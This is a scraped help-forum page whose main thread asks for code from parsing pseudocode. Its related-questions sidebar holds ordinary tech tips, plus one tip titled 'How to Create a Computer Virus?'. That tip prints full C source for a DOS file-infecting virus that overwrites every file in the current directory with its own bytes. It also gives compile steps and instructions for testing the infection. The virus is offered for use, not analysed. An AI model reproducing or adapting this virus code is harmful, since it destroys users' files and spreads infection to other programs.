Question about Computers & Internet

1 Answer

Can any one figure out code for this pseudocode?????

Program
Open file
Read 5 bytes into begin
If begin == ‘BEGIN’
Call sentences
Read 3 bytes into end
If end == ‘END’
Success


Function sentences
Call VP
Call NP
Call period
Return


Function VP
Call get_phrase
If tag == ‘[VP]’
Lookup word in verb table
If found
Check flag
If flag = ‘P’
Write (index, ‘VP’)
Else if flag = ‘NP’
Find index
Write(index, ‘VP’)
Else
Add to table

Function NP
Call get_phrase
If tag == ‘[NP]’
Lookup word in noun table
If found
Record position
Write index, ‘NP’
Else
Add to table


Function period
Read 1 byte into period
If period == ’.’
Return success
Else ERROR


Function get_word
Set position
Peek next
If next <> ‘[’
Read one byte into word
Loop
Call tag
Return word


Function get_tag
Read 4 bytes into tag
Return tag




Function get_phrase
Call get_word
Call get_tag
Return tagged_phrase


Posted by on

  • saikrrrish Feb 23, 2008

    ur correct...but wat abt the code???????

×

Ad

1 Answer

  • Level 3:

    An expert who has achieved level 3 by getting 1000 points

    Superstar:

    An expert that got 20 achievements.

    All-Star:

    An expert that got 10 achievements.

    MVP:

    An expert that got 5 achievements.

  • Master
  • 2,427 Answers

Its the psuedo code for a function in some sort of word processing application. basically it looks for a word, noun , phrase or period. and record the position then adds it to a table.. Proberally home work for a programmer i guess.

Posted on Feb 21, 2008

Ad

1 Suggested Answer

6ya6ya
  • 2 Answers

SOURCE: I have freestanding Series 8 dishwasher. Lately during the filling cycle water hammer is occurring. How can this be resolved

Hi,
a 6ya expert can help you resolve that issue over the phone in a minute or two.
Best thing about this new service is that you are never placed on hold and get to talk to real repairmen in the US.
the service is completely free and covers almost anything you can think of.(from cars to computers, handyman, and even drones)
click here to download the app (for users in the US for now) and get all the help you need.
Goodluck!

Posted on Jan 02, 2017

Ad

Add Your Answer

Uploading: 0%

my-video-file.mp4

Complete. Click "Add" to insert your video. Add

×

Loading...
Loading...

Related Questions:

1 Answer

IS "IS" REFERRED TO AS PLEURAL OR SINGULAR?


IS can be used if you refer to one type of lizard....
Is there a poisonous species of lizard in Alabama?....SINGULAR
Are there poisonous lizards in Alabama?....PLEURAL
Lizards ARE the subject.

Regards,
Dennis

Sep 08, 2014 | Carson-Dellosa BIG OF SENTENCE BUILDING +

Tip

How to Create a Computer Virus? Submitted by Srikanth on Friday, 7 December...


How to Create a Computer Virus?
453f655.jpg
Submitted by Srikanth on Friday, 7 December 200781 Comments This program is an example of how to create a virus in c.This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file.Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file and so on.Here’s the source code of the virus program.

#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>
FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}
COMPILING METHOD:

BORLAND TC++ 3.0 (16-BIT):

1. Load the program in the compiler, press Alt-F9 to compile
2. Press F9 to generate the EXE file (DO NOT PRESS CTRL-F9,THIS WILL INFECT ALL THE FILES IN CUR DIRECTORY INCLUDIN YOUR COMPILER)
3. Note down the size of generated EXE file in bytes (SEE EXE FILE PROPERTIES FOR IT’S SIZE)
4. Change the value of X in the source code with the noted down size (IN THE ABOVE SOURCE CODE x= 89088; CHANGE IT)
5. Once again follow the STEP 1 & STEP 2.Now the generated EXE File is ready to infect
BORLAND C++ 5.5 (32-BIT) :

1. Compile once,note down the generated EXE file length in bytes
2. Change the value of X in source code to this length in bytes
3. Recompile it.The new EXE file is ready to infect
HOW TO TEST:

1. Open new empty folder

2. Put some EXE files (BY SEARCHING FOR *.EXE IN SEARCH & PASTING IN THE NEW FOLDER)
3. Run the virus EXE file there you will see all the files in the current directory get infected.
4.All the infected files will be ready to reinfect
That’s it

on Mar 30, 2010 | Computers & Internet

1 Answer

My e-books have funny symbols in the text. Also they skip parts of sentences entirely.


Converting a file can have its problems. Use the correct eReader for the type of file.

Sep 19, 2017 | Eclipse Audio Players & Recorders

1 Answer

How to download frostwire


Follow the below mentioned steps : 1. Open your web browser and navigate to the FrostWire home page (http://www.frostwire.com).
2 Click on the green "Download Now" box on the FrostWire home page. You will be directed to another webpage at Download.Cnet.com to download FrostWire.
3 Click on "Download Now" and your download will begin. If your computer blocks the download, click on the yellow status bar at the top of the screen. Click on "What's the Risk?" and read the information. Then click on "Download File..."
4 Click on "Save" when the File Download-Security Warning box opens.
5 Choose a destination folder for the download, and click on "Save" when the Save As screen opens. Most of your programs are stored in the Programs folder, so that's the best place to add another program, but the choice is yours. Once you've chosen the destination folder, the download will begin. When it finishes downloading, you can install the software.

May 15, 2011 | Computers & Internet

1 Answer

How do I figure out my wifi password


You can try the steps below to retrieve your wifi password:

1. Open your Internet browser. Type in "CNet.com" and click the "Downloads" tab located underneath the search bar at the top of the browser screen. Type "Wirelesskeyview" in the search bar, and click the "Magnifying glass" button.
2 Click the first search result, followed by clicking the "Download Now" button to begin the download. Save the file to your desktop.
3 Double-click the file to run the program. The password will be displayed in the program's window.


Hope this will be helpful. Thanks for using Fixya.

Apr 11, 2011 | Computers & Internet

1 Answer

My toshiba L655-1 is doing well at first one month..now everytime i download picture from laptop to the internet my laptop hang and i got no choice but to shutdown the laptop in order for me to start again...


I would recommend you download a program called Malware Bytes. http://malwarebytes.org . After you download and install the program. You will double click on the file to open it. Follow the instructions on the screen to install it and then update it. You update by clicking the tab that says "update" then, the button that says "check for updates."

You will then, run a scan on your computer by clicking the "scan tab." Once you are there, select "full scan" and hit "Begin scan." and again, follow the onscreen instructions.

Do you have Norton Antivirus? It may be an issue with that program too; however, this sounds like a virus.

Jan 29, 2011 | Toshiba Computers & Internet

1 Answer

How to install microsoft visual basic 6.0


  • Open the Web page for Microsoft Visual Studio on your computer.
  • 2 Start the download by clicking the "Download" button. Put the file somewhere where you can find it easily, such as your desktop.
  • 3 Locate the setup file "vbrun60sp5.exe" on your hard drive.
  • 4 Double click the setup file to start the installation wizard.
  • 5 Read the license agreement and click the "accept" box to begin installation.
  • 6 Follow the instructions provided by the installation wizard to install the program.


  • Read more: How to Install Visual Basic 6 ' eHow.com http://www.ehow.com/how_5896501_install-visual-basic-6.html#ixzz16RqHSTGS

    Nov 27, 2010 | Microsoft Visual Basic 6.0 for PC

    1 Answer

    No tv card driver


    The term "multimedia driver" encompasses a wide range of drivers, including those for sound cards, graphics cardsmag-glass_10x10.gif, TV tuners, video capture cards, and modems. This may seem a bit overwhelming, but fortunately the driver installation process for each of these cards is standard on most operating systems.
    1. Insert the driver CD that was included with your multimedia card. The CD auto-play feature will begin the installation procedure. If you do not have a driver CD, proceed to step 2. Otherwise, proceed to step 4.
    2. Step 2 Download the current drivers for your multimedia card from the manufacturer's website (examples: Nvidiamag-glass_10x10.gif homepage, ATI homepage, Sound Blaster homepage). Save the driver to your desktop for easy access. The driver download page can commonly be found in the support section of the website.
    3. Step 3 Double-click the driver installation file to begin the installation process.
    4. Step 4 Read the license agreement and select "OK" to proceed. This will begin the installation process.
    5. Step 5 Restart your computer once the driver installation is complete. Not every driver requires a restart. You will be prompted by the program to restart, if it is necessary.

    Nov 13, 2009 | Medion (40010998)

    1 Answer

    NDSTray.exe Application Error


    The process ConfigFree(TM) Tray or Network Device Switch (Tray) belongs to the software ConfigFree(TM) Tray or TOSHIBA ConfigFree or NDSTray.exe by TOSHIBA CORPORATION (www.toshiba.com).
    Description: File NDSTray.exe is located in a subfolder of "C:\Program Files" (common is C:\Program Files\Toshiba\ConfigFree\). Known file sizes on Windows XP are 892928 bytes (27% of all occurrence), 978944 bytes, 962560 bytes, 704512 bytes, 458752 bytes, 929792 bytes, 933888 bytes, 888832 bytes, 139264 bytes, 1372160 bytes, 974848 bytes.
    There is an icon for this program on the taskbar next to the clock. The program has a visible window. It is not a Windows system file. NDSTray.exe is able to monitor applications. Therefore the technical security rating is 18% dangerous, however also read the users reviews.
    External information from Paul Collins:

    • "NDSTray" can run at start up. ConfigFreeT Tray on a Toshiba laptop. Tray utility for their network switching application which permits switching network devices and settings with a click on the tray icon. While it is not required, for people who span multiple networks and want an easy way to go from wired to wireless and change addresses and other network settings, it's a must have
    Important: Some malware camouflage themselves as NDSTray.exe, particularly if they are located in c:\windows or c:\windows\system32 folder. Thus check the NDSTray.exe process on your pc whether it is pest. We recommend Security Task Manager for verifying your computer's security. It is one of the Top Download Picks of 2005 of The Washington Post and PC World.

    Feb 11, 2008 | Toshiba Satellite M55-S135 Notebook

    Not finding what you are looking for?
    Computers & Internet Logo

    Related Topics:

    199 people viewed this question

    Ask a Question

    Usually answered in minutes!

    Top Computers & Internet Experts

    Doctor PC
    Doctor PC

    Level 3 Expert

    7733 Answers

    kakima

    Level 3 Expert

    102366 Answers

    David Payne
    David Payne

    Level 3 Expert

    14161 Answers

    Are you a Computer and Internet Expert? Answer questions, earn points and help others

    Answer questions

    Manuals & User Guides

    Loading...